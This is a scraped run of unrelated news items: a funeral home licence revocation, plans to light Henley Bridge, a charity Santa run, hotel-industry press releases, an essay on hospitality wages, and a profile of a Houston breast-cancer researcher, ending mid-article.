on a death certificate. When Martha Walker and her family decided to transfer Mary Becks body to another funeral home, Melody Shepherd ripped up the signed death certificate for Decedent Beck so that the successor would be required to obtain a new death certificate. She observed John Irvin embalm bodies, though he did not hold an active funeral service or embalmer license. She often saw Melody Shepherd, who did not hold a funeral service license, meet with families about funeral arrangements. When she took a 10-day leave of absence in May of 2020, she returned to find unembalmed decedents who had been stored at (the funeral home) without refrigeration during the full period that she was on leave. During the hearing, the board also heard from Kay Alison Thomas, who testified about the funeral homes handling of services after the death of her husband, Lawrence George Thomas. Based on her testimony, the board found that the unlicensed employee, Irvin, met with Kay Alison Thomas about funeral arrangements, that the funeral home failed to timely file a death certificate and that an unlicensed employee performed the cremation of Mr. Thomas. The board heard details and reviewed evidence about numerous other consumer complaints and heard from Board of Funeral Service inspector Christopher Stoessner about his visit in June of 2020 to the funeral home on Church Street and the crematory at Shepherd Memorial Park. Among Stoessners findings were that unlicensed employees had conducted at least seven cremations. In its conclusions of law the board found that the funeral home had not employed a licensed manager or licensed officer who was actively involved with its daily operations since July 27, 2021, or displayed licenses and permits as required by law and failed to timely file death notifications and death certificates as required by law, had violated rules on preneed and at-need contracts and committed other violations. It found that Melody Shepherd had practiced funeral directing without a license and as crematory manager had failed to properly maintain the facility and maintain receipts required by law and had allowed unlicensed employees to perform cremations. Efforts to reach Thomas and Melody Shepherd were unsuccessful. The businesss phone line says the number is temporarily out of service. Melody Shepherds cell phone said the voice mailbox is full and cant receive messages. Under state law, the Shepherds and the funeral home have 30 days to appeal the boards revocation order. An appeal would be heard in Henderson County Superior Court. FRESH plans to illuminate Henley Bridge have received widespread support. Businesses and town councillors have welcomed the proposal to have 470 energy-efficient, low-voltage LED nodes attached to the Grade I listed crossing. The warm white lights would be fixed to both sides of the bridge and follow the line of the balustrade and each of the five arches. As the Henley Standard reported last week, the plans have been drawn up by the Make Henley Shine group, which comprises six business people and is chaired by Daniel Bausor, from Bix, who has previously worked on bridge lighting schemes in London. He says illuminating the bridge would revitalise the town and help attract visitors. Henley Mayor Sarah Miller said: I am very supportive of the bridge lights as long as they are in keeping with the area so it doesnt look like Blackpool not that I have anything against Blackpool and that they dont harm the stonework. There seems to be a good group of people working together on this to help make it happen and as long as they are transparent and keep everyone informed I will be very supportive of it. The bridge is so beautiful and I am sure lighting it will offer many benefits to Henley. You are always going to have some people against lights of any sort but more than 2,500 people did sign a petition in support of them. Henley as a whole is stunningly beautiful and people come for that reason but lighting the bridge will be an added attraction. Niki Schafer, who chairs the Henley Business Partnership, said the new plan would overcome the previous criticisms of artist and entrepreneur Clive Hemsley who unlawfully lit up the bridge in February 2018 and is now part of Make Henley Shine. She said: I think lights on the bridge is a beautiful idea. Clearly this new plan has been very well thought through and Daniel Bausor has done a great job in going into such a high level of detail and getting in expertise. He understands the lighting of bridges and if he can appease the people who werent in favour of them previously then it is great. Henley and the bridge are picturesque and people always come here to take pictures. The lights will only be visible in the winter months when we should be looking to attract more visitors. We are very good at doing that in the summer. What it will do is benefit the evening economy and the restaurants around it, such as The Relais Henley, Villa Marina and maybe Shaun Dickens. The lights would really add to our status as a town. Henley MP John Howell said he had always been in favour of lighting the bridge and hoped the changes made to Mr Hemsleys scheme would be approved by Wokingham Borough Council and South Oxfordshire District Council, the planning authorities. He said: I think it is a lovely idea that makes the town even more attractive. It is just a shame that our councils didnt like the previous idea so all power to their elbow. What they have done in making them more environmentally friendly is very good and addresses the concern of too many lights and I really congratulate them on doing that. London bridges have lights and a number along the Thames do as well. Henley is a big and popular enough place to warrant such an attractive feature. Town and district councillor Kellie Hinton said: I think there is a great will in the town for bridge lights but it needs to be done properly. Personally, Im more of a fan of uplighting but if this plan is sympathetic to the bridge and the river and not garish then I support it. Daniel Bausor has experience of lighting up Londons bridges so I have faith in the scheme as he is bringing his experience to it. Grace Leo, co-owner of The Relais Henley, formerly the Red Lion, said: I support the lighting of Henley Bridge for the simple reason that, from an unbiased perspective, I want to raise the bar for Henley. Ponte Vecchio in Florence is illuminated all year round and is one of the most photographed landmarks in the city and indeed in Italy. If we keep the Henley stone bridge a secret for our residents only, it will not help to attract the level of international interest that this town is in dire need of to uplift the business climate and provide the energy year-round so that the local economy can thrive other than during the few summer months of regatta and festivals. Whatever our community could do to help this cause will be appreciated by the organisers of this worthwhile project that might have a long lasting and positive impact on the town. Jonathan Hobbs, managing director of Hobbs of Henley, said: I do like the idea. The first attempt by Clive set the ball rolling and showed what could be achieved. The bridges in London look magnificent and it would be great to have that for Henley. From a business point of view, the bridge would become something people want to come and see and perhaps we could run evening trips. For us, the river is such an important part of the town and the lights, if done properly, could be really great. I also support the safety aspect of having the bridge illuminated. The river is very busy at times with all the events here and having lights would aid navigation. John Whiting, chairman of the Henley Archaeological and Historical Group, said: We are not opposed to lights on the bridge, it was just the modus operandi of the way Clive went about it. He didnt go through the proper channels and just steamrollered ahead. It seems to be a new bunch of applicants and we will wait and see as to what their objectives are. On the basis of what was reported, it is not Blackpool illuminations and they seem to be more moderated. One issue remains, which is the way of fixing the lights to the stonework but if the likes of Historic England and others are in favour of it, we would likely be happy with it as well. We are not taking a stand or objecting to it until we know more. Oxfordshire County Council, which is responsible for the bridge, said it supported the plans provided the issues of safety, maintenance and insurance were managed satisfactorily by the applicants. A RECORD 200 people took part in the Henley Santa fun run in festive fancy dress on Sunday. The annual charity event, which was organised by Mayor Sarah Miller with the help of fellow councillors, started and finished at Leander Club. The participants, who included adults and children, ran or walked either 4km or 1km along the Thames towpath and back. Many were wearing festive jumpers, hats and tinsel or had dressed as Father Christmas or one of his elves. Those who werent in costume were given a Santa hat as they registered for the run, which cost 5 or 15 for a family. The hats were sponsored by Rupert House School. Before setting them off, Cllr Miller welcomed everyone and thanked them for taking part. She then counted down from five to zero and the run began with the children sprinting off first. Members of Henley Rotary Club marshalled the race with the help of town councillors including Kellie Hinton, Donna Crook, Ken Arlett, Stefan Gawrysiak and Laurence Plant as well as Cllr Plants father Stephen. At the end of the race, Cllr Miller presented the winners with boxes of chocolates and posed for pictures with them. All the participants were offered mince pies from Tesco and hot chocolate by Amanda McGregor at the finish line. The 4km was won by Alexander Lamacraft, 12, from Shiplake, while his six-year-old brother Thomas was awarded a prize for his red and green elfs costume. Alexander, who attends Reading Blue Coat School, said: It was really fun and its such a good course because it is flat and you can be quite fast. The boys mother Andrea said: We like to take part for charity and seeing everyone dressed up and having a bit of fun is always really good. Amelie Judge, 17, from Shepherds Green, was the second runner home. The 1km race was won by Olivia Watson, 10, from Henley, who ran with her father Ben. Mr Watson said: We took part with other pupils and parents from Rupert House School and we loved it. Its great to have a bit of fun and a bit of exercise on a Sunday morning. The best dressed family were the Walmsley-Irvings, who won a voucher for Henley butchers Gabriel Machin as well as calendars featuring pictures of Henley. Brian Walmsley said: It was a good race but we are all very sweaty it was almost 12 degrees, so we were a bit overdressed in jumpers and hats. Its nice to have an opportunity to dress up and meet so many friends. The event raised 600 for the Mayors chosen charities for her year in office, which are the Royal British Legion, the Henley Regatta for the Disabled and Henley Plastic Reduction. Cllr Miller said: We had a record number of people taking part this year, so Im really pleased. It was a lovely occasion and I think everyone liked the route, which is very safe as there are no cars around. Almost everyone made an effort to dress up, which was so great to see. Mary Ann passed peacefully in her home with her loving family by her side on July 12, 2021. Pipeline 15 December 2021 Hilton announced today the signing of the latest property from LXR Hotels & Resorts, the company's collection of independent luxury properties, in Diriyah, Riyadh, KSA. Projected to open by 2026, this captivating boutique resort represents the brand's introduction to the Kingdom of Saudi Arabia and will be located within Diriyah, an 11-square kilometre development that is set to redefine luxury living complete with high-end retail offerings, lavish restaurants, residential and administrative buildings, educational institutions, recreational spaces, and galleries and museums. Nestled in the historic Wadi Hanifah, the retreat is to house 80 immaculately designed guest rooms and enchanting villas. Offering a nearby lush escape of tranquillity and relaxation for those looking to explore the vibrant Diriyah development, guests will enjoy easy access to the UNESCO's World Heritage Site of At-Turaif, the home of the first Saudi State. Moreover, the annual 'Diriyah Season' will create a sought-after destination, hosting a myriad of sports and entertainment events, bringing together local and internationally renowned figures during the month-long festival. Designed to be an oasis of serenity, the property will house more than 800sqm of spa for guests to rejuvenate through holistic healing and enjoy handpicked treatments. The hotel is also designed to host meetings and group retreats, as it houses multi-functional rooms for meeting spaces. This coupled with indoor and outdoor pools, an all-day dining restaurant, a speciality restaurant, and pool and lobby lounges.The resort will join LXR's exclusive global collection of bespoke properties, each representing their unique location and offering a singular travel experience native to its place, history, culture and traditions. Pipeline 15 December 2021 The signing also strengthens company's luxury and lifestyle portfolio in the region. IHG Hotels & Resorts, one of the world's leading hotel companies, has announced the signing of a Management Agreement with Pyramids Group for Urban Development to bring a new luxury hotel to Egypt - InterContinental Cairo New Capital. Scheduled to open in early 2026, this signing reinforces IHG's commitment to growing its brand portfolio in the country and solidify its presence in the luxury and lifestyle segment in the region. Joining Holiday Inn New Assiut Asayla, Hotel Indigo Mountain View North Coast, Hotel Indigo Mountain View icity New Cairo, Hotel Indigo Mountain View icity 6th of October City and Hotel Indigo Mountain View Ain El Sokhna, the latest development marks the 6th IHG hotel to be signed in Egypt this year. Featuring 300 luxurious rooms, InterContinental Cairo New Capital will be centrally located in the New Capital, a strategic city in Cairo, which was built as part of Egypt Vision 2030 to bolster the economic development of the country. The hotel will be located in the heart of the city, surrounded by landmarks such as the Presidential Palace, the Government Square, and the Opera. The new development will offer leisure and business guests a wide range of dining options including an all-day and specialty restaurants, a rooftop bar, and cafe lounge. The hotel will also feature an outdoor and indoor pool, 250 sqm health club, 800 sqm spa, business center, and 8 meeting rooms. Pipeline 15 December 2021 Oakwood, the leading serviced apartments brand with over 50 years of history, today announced the signing of a management agreement with Aara Hospitality to debut the brand in Bangladesh. Scheduled to open in April 2022, Oakwood Hotel & Apartments Dhaka will add to Oakwood's enlarging footprint across South Asia in support of its goal to double the global portfolio of managed properties by 2025. With a prestigious address within Dhaka's affluent precinct, Oakwood Hotel & Apartments Dhaka is the capital's new landmark along the leafy streets of modern architecture, diplomatic enclave and premium lifestyle scene on Gulshan Avenue. Strategically located in the heart of the city, guests will have convenient access to upscale dining destinations, heritage crafts and park-side living near the verdant Gulshan Lake Park. The property features a collection of 89 hotel rooms and serviced apartments, from studios to two-bedroom units, catering to both business and leisure travellers at different stages of their lives. Delivering a sophisticated residential lifestyle concept, Oakwood Hotel & Apartments Dhaka offers an outstanding range of F&B outlets, including a fashionable split-level rooftop bar, all-day restaurant, lobby lounge-cafe and cigar divan bar as well as MICE facilities for business meetings and events. Rebranding 15 December 2021 Accor, a world leading hospitality group, today announces the signing of a management agreement to open ibis budget London Heathrow Central. It is the second of two former Travelodge hotels in the Heathrow market, both circa 300 bedrooms, that have moved over to Accor in the past 12 months. The 307 bedroom hotel opened on 13th December 2021, before undergoing a comprehensive renovation and redesign to the global budget brand's latest design concept 'reboost', which is inspired by urban sports. The hotel is conveniently located next to Heathrow Airport, offering easy access to terminals 1 and 3 of the UK's largest airport as well as excellent transport links to central London. Appointment 15 December 2021 Singapore-based luxury hospitality brand COMO Hotels and Resorts is delighted to announce the appointment of Doris Goh as VP Commercial. In her new role, Goh will be responsible for driving and managing the overall commercial components of COMO Hotels and Resorts, bringing the sales and marketing function together in an exciting new chapter for the brand. Having celebrated 30 years in hospitality this year, COMO announced an expansion of its portfolio with COMO Laucala Island in Fiji - the newest addition to its private island collection, opening December 15th 2021. With an illustrious career spanning more than 25 years in the hospitality industry, Goh is one of the noted pioneers and thought leaders in luxury and responsible tourism. A Singapore native, she is known for having spearheaded the sales, marketing, and digital innovations at Alila and joins COMO Hotels and Resorts from her most recent role at Asia Land and Sea, a start-up driving sustainable tourism development. With a passion for sustainability and regenerative travel, Goh is a well-respected strategist and thought leader, having spoken at sales and digital marketing forums and luxury travel events around the world. Press Release 15 December 2021 Lausanne After almost 12 years at the helm, the CEO of EHL Group, Prof. Michel Rochat, has announced that he will be leaving his position at the end of 2022. The Board of Trustees express their gratitude for his visionary leadership and commitment to the community and, in turn, Prof. Rochat thanks the Group for the memorable experiences and lessons learnt. Advertisements Following Prof. Rochats announcement, Chairwoman of the Board of Trustees of EHL Group, Dr Carole Ackermann, announced: On behalf of the Board of Trustees, I would like to thank Michel Rochat for his great professionalism, his daring to cross borders, his constant benevolence and his unwavering commitment. He was a unifying and visionary business leader, and he will be missed. In thanking EHL Group, Prof. Rochat stated: I have profound gratitude for all the experiences that I have had at EHL and for the human relationships that have enriched my time here. He goes on to share his learnings by saying, First and foremost, I have learnt that its by being willing to exchange in a more open and empathetic way that we can catalyze inspiration and empowerment. This is one of the learnings behind our growth, which helped bring the 125 nationalities of our student body together in a harmonious way. During Prof. Rochats tenure, EHL Group has become the worlds #1 hospitality management school (QS World University Rankings), been recognized as the first training restaurant with a Michelin star for 3 consecutive years, launched new programs at all levels to become an integrated lifelong learning partner, and expanded its campuses globally. Supplier News 15 December 2021 NEEDHAM, Mass. - Travel in 2021 may have had its starts and stops, but one thing was for sure this year: travelers' appetite to get out and explore showed no signs of waning. While travel as we know it may have looked different this year, people still got their fix in some way or another. As we close out the year, today Tripadvisor, the world's largest travel guidance platform, looks back over the last 12 months at some of the ways we reengaged the world as travelers connected, supported and guided each other to discover all the good out there in 2021. The pandemic has continued to make a profound impact on travel and tourism. However, despite lockdowns and travel restrictions far and wide, travelers remained hopeful and positive that travel will recover. In fact, more than 44 million new travelers joined the Tripadvisor community in 2021 and 2.5 million travelers posted a review for the first time in a year. Guidance and people-powered travel remain at the heart of Tripadvisor's purpose. Without tips, recommendations and suggestions from people who have been there before, Tripadvisor wouldn't be the invaluable resource that it has become for the millions who visit the platform every month. Travelers like @alessandrofL127YD deserve a special mention - his 358 reviews in 2021 alone got a whopping 26,259 upvotes from fellow travelers who found them helpful. Reviews aside, here are some other inspiring insights from 2021 worth celebrating: Travelers were big on Trips this year More than 7 million new Trips (travel itineraries) were created on our platform If you took a trip a day, it would take you more than 13,830 years to do them all. The planning was endless, both the little escapes and the big occasions. Just ask the travelers who named their trips " Mom needs a getaway so no Momster comes out " and " Where is Alexis going to propose? " Travelers took the time to appreciate each other and the interactions they did manage to have, whether virtually or in person "Thank you" was mentioned over 41 million times in reviews and forums this year . Despite the impact of COVID-19 and its effect on travel, travelers managed to find bright spots everywhere Tripadvisor's "Highlight of the day!!!!" forum has 5,000+ posts (and counting) that saw traveler updates both big and small. As travel recovers, new businesses have been popping up everywhere this year to welcome guests back through their doors 309,270 new accommodations, 109,110 new experiences and 175,286 new restaurants listed their businesses on Tripadvisor in 2021 Travelers were longing for sunshine this year. These were some of the favorite sunny destinations travelers were searching for this year These were some of the favorite sunny destinations travelers were searching for this year Honolulu, Hawaii - saw 3.2x more Experiences bookings than pre-pandemic "Everything in Hawaii seems to come with a story, and that is what makes it special." - longboard Cancun, Mexico - saw a 17% increase in searches compared to 2020 "I daydream about Cancun during rush hour on my way back home from work." - Adaza Punta Cana, Dominican Republic - saw a 96% increase in searches compared to 2020 "I can't think of anywhere else so tropical and gorgeous, yet so affordable at the same time." - SunLvr101 Sharm El Sheikh, Egypt - more than doubled (106%) its searches compared to 2020 "The water was so blue and clear and filled with beautiful coral reefs...We will definitely be back!" - Lisa B Hurghada, Egypt - "Hurghada is less hassle than anywhere else in Egypt, and a great place for activities and relaxing." khaled elio In addition to sunny destinations, travelers were *obsessed* with outdoor experiences . Based on bookings done this year, these are some of the most popular destinations for outdoor experiences in 2021 . Based on bookings done this year, these are some of the most popular destinations for outdoor experiences in 2021 Denver, Colorado - received 65% more bookings in 2021 compared with 2019 Top experience:Hiking Adventure in Rocky Mountain National Park from Denver Sedona, Arizona - bookings in 2021 grew by 116% compared with 2019 Top experience: The Original Sedona UFO and Stargazing Night Tour Ontario, Canada - increased in bookings by 313% in 2021 compared with 2019 Top experience: Niagara Falls Grand Helicopter Adventure Moab, Utah - saw 53% more bookings in 2021 than 2019 Top experience: Moab Xtreme 3-Hour Experience La Fortuna de San Carlos, Costa Rica - received 152% more bookings in 2021 than 2019 Top experience: Sloth Tour in La Fortuna Looking ahead to 2022, travelers are more than ready to get out of their work-from-home setups and back to exploring the world. There are over 66,000 Trips with "2022" in the title already saved "2021 was full of ups and downs in travel but despite that, it was heartening to see how travelers showed up for each other, continuing to support, appreciate and share how they traveled where they could," said Steve Kaufer, President & CEO at Tripadvisor. "While a lot remains unknown in the year ahead, we remain hopeful and positive that travel will continue to recover, and travelers will be able to get back out to finding the good out there. As a company, Tripadvisor and the Tripadvisor Foundation will do its part to help those in need get through this period of change." In addition to planning their return to travel, it was inspiring to see how our traveler community mobilized to support pressing social issues and celebrate their diversity. Supplier News 15 December 2021 SEATTLE - A network outage can be detrimental to hotel operations. No internet service means no reservations, no guest communications, and potentially no employee safety system if the hotel is using a panic button solution other than React Mobile 2.0. The hospitality workforce safety platform is designed to deliver the highest levels of reliability during a network outage, such as the one triggered by Amazon Web Services US-East-1 region of data centers on Dec. 7th. Hotels relying on React Mobile and operating with an AWS infrastructure experienced no safety platform downtime when the overload occurred. We massively over-engineered React Mobile 2.0 to ensure that problems like the AWS outage do not impact our customers, said React Mobile CEO John Stachowiak. React Mobile 2.0 is the only enterprise-grade software on the hospitality market with this advanced level of redundancy. Each of React Mobiles four backend services has a 99.99% uptime agreement, ensuring that the total expected outage during a year is less than 15 minutes. React Mobile warns hoteliers not to be misled by claims of high availability. A safety system that claims 99% uptime or 99.9% uptime may sound impressive, but it is not as reliable as one may think. Statistically speaking, over the course of one year, systems with 99% uptime can expect outages of three days, 15 hours, 39 minutes, and 29.5 seconds. Those with 99.9% uptime can expect to be down for eight hours, 45 minutes, and 57 seconds. By comparison, with 99.99% uptime, React Mobile 2.0 will experience a total annual downtime of only 52 minutes and 35.7 seconds in each of four redundant systems, any one of which can carry the whole load of the system, for an estimated total service delay measuring less than 15 minutes per year. The difference between 99.99% and 99.9% uptime may not seem like very much, but it could cost hotels significant time and money, Stachowiak said. According to Gartner, the average cost of network downtime is estimated around $5,600 per minute. Multiply that by 60, and you're at $350,000 per hour. For a hotel running on a safety platform with 99.9% uptime, thats $2.8 million. As the industry works towards recovery, no hotel can afford internet downtime, no matter how long. Impact on the hotels reputation from negative online reviews alone could be devastating. React Mobile 2.0 is hands down the most reliable safety solution on the market. In addition to its exceptional reliability, React Mobile 2.0 also leads the industry in beacon location accuracy. The entire solution was re-engineered to be radically simpler for hotel workers to use in the event of an emergency. Existing customers wanting to upgrade to React Mobile 2.0 can do so with no additional hardware required. React Mobile 2.0 Key Features Include: A new responder application that will enable employees to receive safety alert notifications on their mobile devices and dispatch help. Management will receive analytics measuring how long it took for the employee to respond to an active alert. Support for all third-party iBeacons, such as Aruba, Cisco Meraki, and CommScope/RUCKUS . With iBeacon functionality already existing in the hotels WiFi access points, hoteliers will save up to 90% of workforce safety platform install costs. . With iBeacon functionality already existing in the hotels WiFi access points, hoteliers will save up to 90% of workforce safety platform install costs. A new, highly sensitive machine-learning back end to greatly increase location accuracy. A double-redundant alert pipeline to ensure that alerts are dispatched from panic buttons to responders in the fastest time possible. React Mobile 2.0 delivers 99.99% of alerts in less than a half-second. Single-press LTE buttons to check battery life and identify coverage problems. Two-way multi-lingual conversations in English, Spanish, French and Chinese. Any language can be supported on request. Single sign-on (SSO) authentication from existing employee email and password. Regional operations whereby housekeepers and responders working at multiple properties can use React Mobile 2.0 across the enterprise. To learn more about React Mobile 2.0, visit www.reactmobile.com. About React Mobile Founded in 2013, React Mobile is a global leader in providing panic button solutions for hotels. Our best in class hospitality safety platform helps hotels keep their employees safe. The React Mobile system is an open and flexible platform that allows management to deploy response resources to the exact location of an emergency within seconds of an alert, getting help to where its needed anywhere on or off property. In an emergency quick response times are essential and React Mobile gives you the tools to react fast. For more information, visit www.reactmobile.com. Opinion Article 15 December 2021 It turns out that the Golden Rule is a maxim hoteliers need to pay heed to when it comes to their own employees. Its an axiom that is even more glaring as hourly wages in the leisure and hospitality space climb against a payroll cost base that remains lower but is showing signs of growth. Advertisements So say several hospitality industry professionals and educators when asked what it will take for hoteliers to attract and retain the younger generation of hospitality workers. It boils down to one central admonishment: treat young associates better. Not only should a hotel care about customers, its number one target market is internal associates, said Leora Halpern Lanz, Assistant Dean, Academic Affairs and Associate Professor of the Practice at Boston Universitys School of Hospitality Administration. If theyre treated well, word gets out that its a good place to work. That starts with more humane hours. The industry needs to evaluate why people are working 14-hour days because theyre being worn down, she said. There has to be an element of work/life balance. Beyond the long hours, Kyle Allison, host of the Hospitality MD podcast, said that the hotel industry needs to tweak its legacy messaging. People dont think being in hospitality is cool or fun or exciting, he said. A young person might look at it and say I dont want to be a servant or to have to just smile because the customer is always right. Thats an antiquated stigma that still exists; its why young people arent flocking to the industry. Junior staffers also need a better career path, Allison said. If someone is a housekeeping supervisor and their job is to check rooms, arrange amenities for VIPs and inspect maybe 40 rooms a day, do they need to do that for four years before being promoted? he asked. I dont think so. And if that supervisor has been in the position for six months and doing great but the company rule says they have to work a year before being promoted, theyre going to feel its the wrong place for them and leave. If we allowed people to move up quicker, they would be more excited about the industry and where theyre going. Hoteliers also could be more flexible regarding remote work and time off. Everyone doesnt have to be on site all the time, said Craig Sullivan, founder and president of the California Lodging Investment Conference. For example, the revenue manager doesnt always need to be there. Weve had more than 19 months of debunking the fantasy that people cant work off site. Conditions for young workers also should be improved, he added. Stop giving them windowless offices or putting them in the basement. The rooms with windows generally are guest rooms or other things. The industry needs to start building structures that are more for the associates on site. A Better Carrot Increasing wages for entry-level work and promoting career advancement are also vital toward attracting young talent. The legacy of the hospitality industry has been one of pull oneself up by ones bootstrapsthat, unlike most other industries, a person can start as a dishwasher and wind up a CEO. As such, starting wages have historically been lower than other industries. One thing the hotel industry has overlooked is that not everyone will become a CEO or within the C-suite. Rather, they are there to provide for their families: food and lifes other necessities are their drive, not career advancement. Though wages for entry-level positions might remain lower than other industries, they are rising, a byproduct of the current national predicament. Consider, first, front-desk agents, the ones who check guests in and out and perform other front-of-house services. The median annual salary in the U.S. is $28,149, according to Salary.com, which breaks out to $14.66 for a 40-hour workweek. Meanwhile, a housekeepers median annual wages come in at a similar level of $27,055 or $14.09 per hour. How many states have a $15 minimum wage? As of September 2021, the answer is none. However, several states have scheduled minimum wage increases to reach $15 an hour in the coming years. Heres a list. Parents may not be supportive of hospitality because salary and career growth may not be as impressive as other fields, said Halpern Lanz, though she recognized that hoteliers have to answer to owners and maintain profitability. Overall, average hourly wages in the leisure and hospitality segment have climbed considerably since 2019, according to data from the U.S. Bureau of Labor Statistics. Preliminary data points to an hourly wage for all employees of $19.20 in November 2021 versus $16.77 in November 2019 and $17.09 in November 2020. For non-supervisory roles specifically, preliminary data for November 2021 is $16.67 an hour compared to $14.75 in November 2019. A tighter national labor market is having a profound impact on overall wagesa phenomenon that puts workers in the catbird seat, but eats further into already fragile hotel P&Ls. Labor Squeeze Labor is the hot-button issue in the hospitality segment and something hoteliers struggle with consistently. The fact is, total payroll on a per-available-room basis is still around two times less in 2021 compared to 2019, according to HotStats data. Year-to-date October 2021, total payroll PAR in the U.S. is $43.46 compared to $85.86 over the same period in 2019. In Europe, the data is similar25.96 YTD October 2021 versus 50.42 over the same period in 2019. The Middle East had a slightly lower gap in 2021 versus 2019, $36.66 v. $53.69. What explains the discrepancy, then, between higher hourly wages and a still depressed overall labor expense base? Though hourly wages are up against baseline 2019, the industry isnt hiring as many workers or full-time equivalents (FTEs). In 2019, the full-year average unemployment rate in the leisure and hospitality segment was 5.2%. It ballooned beginning in April 2020 at the outset of the COVID-19 pandemic and has so far averaged out at 10.45% in 2021 (its down to 7.5% as of November). The unemployment rate is certainly trending down and it could be just a matter of time before the higher wages catch up with hotel owners. Despite the cost associated with labor, the hotel industry is in a better space when its workers are content. The industry, Allison contends, needs to make associates understand the bigger, altruistic picture of hospitality. We dont just clean rooms, he said. We feed and house people, nourishing them to take on the day, and provide comfort when they dont have anywhere to sleep. I dont know if we communicate that well. Young people are looking for purpose and we have it. We just have to show it to them and invite them to be part of it. Roberta Schwartz was 27 when she was diagnosed with breast cancer. By the time she moved to Houston in 2001 five months pregnant she had already been in remission for four years. Thats when she met Dr. Jenny Chang, director of the Cancer Center and Emily Herrmann Presidential Distinguished Chair in Cancer Research. As Houston Methodist Hospitals executive vice president, Schwartz works alongside Chang. But perhaps more importantly, Chang is also her doctor. Shes an incredible doctor, Schwartz said. Shes passionate, and shes kind. But shes not one to pretend. Chang is straightforward - and her determination is what makes her excel in all endeavors, Schwartz explained. On HoustonChronicle.com: As Hurricane Ida descended on her town, she had to evacuate and find a Houston hospital to have her baby Thats what shes like in every aspect, as a doctor, as faculty and in research, Schwartz said. You just cant stop her. Shes a complete triple threat. Schwartzs diagnosis of triple-negative breast cancer has long been a focus of Changs research. The term refers to breast cancers that test negative for estrogen and progesterone receptors, as well as excess HER2 protein. These cancers tend to grow and spread faster and usually have limited treatment options. But Chang is undeterred by a difficult diagnosis. I grew up with Agatha Christie, Chang said. I love detective movies. This is like a mystery to solve. Her breakthroughs have advanced research in several areas. On Dec. 15, a research team led by Chang published a study in the journal Science Translational Medicine, describing how a combination of chemotherapy and a drug typically used to treat cardiac failure is able to regress tumor growth of triple negative breast cancer and prevent the cancer from spreading. This is an effective way of cutting short drug development and getting it into patients as quickly as possible, Chang said in a statement from the hospital. This process has taken us less than five years and saved billions of dollars, giving us the opportunity to provide this new therapy faster for our patients. Chang and her team found variants in a gene called RPL39. Through a combination of chemotherapy and the cardiac drug L-NMMA, which was developed at Houston Methodist Changs team was able to drastically improve patient outcomes. While patients with cancers resistant to chemotherapy typically have a 25 to 30 percent chance of responding to drugs targeting their immune system, those treated with L-NMMA showed a response rate of 50 percent. Her research team is now planning multi-national phase three trials to evaluate the efficacy of L-NMMA in more patients. If these trials are successful, then they will file for U.S. Food & Drug Administration approval of the drug. And Chang has plans to take her treatment even further, thanks to a recent $25 million gift from Dr. Mary and Ron Neal to expand the hospital systems cancer center. The new Dr. Mary and Ron Neal Cancer Center In recognition of the couples commitment and generosity, the facility will be renamed the Houston Methodist Dr. Mary and Ron Neal Cancer Center. The hospital system plans to raise an additional $12 million in matching funds to advance the centers research and related programs. The Neals are very generous, Chang said. They believe in our research and what we are doing. She explained that the gift will make possible the expansion of the cancer centers impact within the Greater Houston community. She is especially interested in changing the landscape of health care deserts, making cancer screening available for all. It shouldnt matter where you live; you should have access to health care, Chang said. Theres a need - and its huge in Houston to get out in the community. This new funding will make that possible. The gift also enables us to recruit the best talent out there, Chang said. Were going to push the frontiers of research. The funding will allow Houston Methodist to establish three endowed chairs, fellowship training and expand the depth of clinical trials, while supporting ongoing cancer innovation within the Center for Drug Repositioning and Development. Dr. Mary Neal is a retired obstetrician-gynecologist and has known Dr. Chang for years. Dr. Neal and her husband recalled that Chang invited them to tour the Cancer Center a few years ago and showed them a collection of tissue samples that the hospital had acquired. This was an incredibly valuable tool, Ron Neal said. She could have kept it for her research team, but shes more interested in helping all people solve the problems. Chang shared the resource with other research teams. That attitude tells you all you need to know, Ron Neal said. We decided that a leader like that is someone we could get behind. The couple had been brainstorming ways to support Houston Methodist. We are impressed with the quality of care; its incredible, Dr. Neal said. Youre never just a diagnosis at Methodist. The Neals also wanted to champion the city in general. We love Houston and the community here, the history of philanthropy, Ron Neal said. There are countless examples of women and men who have taken the opportunity to help improve the city for all of its citizens. We saw this a chance to be a link in the chain, the fabric of Houston. Do more to help more Originally from Singapore, Chang earned her medical degree from Cambridge University, then completed a fellowship in medical oncology at the Royal Marsden Hospital and Institute for Cancer Research. She also received a research doctorate from the University of London. Chang knew from age 12 that she wanted to work in medicine - and where she wanted to focus her attention. Several members of her family had been diagnosed with cancer. At the time, there was only one treatment. It was chemo, chemo, chemo, Chang recalled. Now its much better. After completing her studies, she moved to Houston. And Ive never left since, Chang said. On HoustonChronicle.com: Houston TikTok star whose Lil' Jon display went viral makes holiday light show for Woodlands Texas Children's She explained that the U.S. was a land of opportunity - especially for breast cancer research. You have all the resources, the technology, she said. Were still the innovators here. And she was drawn to the vision of Houston Methodist. It has not only the research but also the aspect of caring, Chang explained. Houston Methodist is mission-driven and faith-based. Its all about making a difference for the community. Dr. Chang has dedicated her research to identifying treatments for triple-negative breast cancer. While immunotherapy drugs have shown effectiveness in these patients, the response rate remains low, she explained. Her research team is testing the tumor microenvironment to find ways to improve the response rate. She is also investigating why breast cancer stem cells survive chemotherapy, radiation and hormonal therapy. She recalled that while working at Ben Taub, she witnessed women coming in for chemo treatments. It would work for a while, but then the cancer would regrow in an aggressive way - often more aggressively, Chang said. That was before we understood genes. Her investigation has narrowed 700 potential genetic markers down to two. Along the way, she has authored several publications, lead international presentations, earned grants to evaluate novel biologic agents and received patents on new technological advances. Its been my journey for the past 10 years, Chang said. Ultimately it looks promising. She remains optimistic about the future - especially with the advancements now made possible through the Neals funding. Were just learning so much more than we ever thought possible 10 years ago, Chang said. Thats what I wake up for, she said. Theres such a huge need out there, and that keeps me up at night. That also motivates me to work a little harder and a little more. I want to be able to help more people. Lindsay Peyton is a Houston-based freelance writer. Six years ago, Sunnie Gruwells 12-year-old daughter began obsessively reading recipes and food blogs, a fixation that led to a deeper struggle with body image and anorexia nervosa. During months of intensive therapy at a residential treatment center, Gruwell said her daughter was cut off from some of the key triggers of her distress: They take away phones and social media. Gruwells daughter, who started college earlier this year, is now in recovery. But the experience left the Houston mother of four deeply wary of the corrosive effects of social media on her kids well being. She and her husband have established tactics for navigating the tricky topic with their teenagers. Since her daughters anorexia treatment, Gruwell said things have changed drastically in our household for the better. She and her husband are more deliberate about how they talk to their teens about food, body image and the addictive nature of social media. MORE FROM NORA MISHANEC: As delta wave fades, Texas Childrens battles fatigue and a troubling chain of infections They are far from alone. The recent revelation that Facebook failed to act on its own research showing Instagrams harm to young people including evidence the popular app makes teenage girls more self-critical intensified public scrutiny of the tech giants and 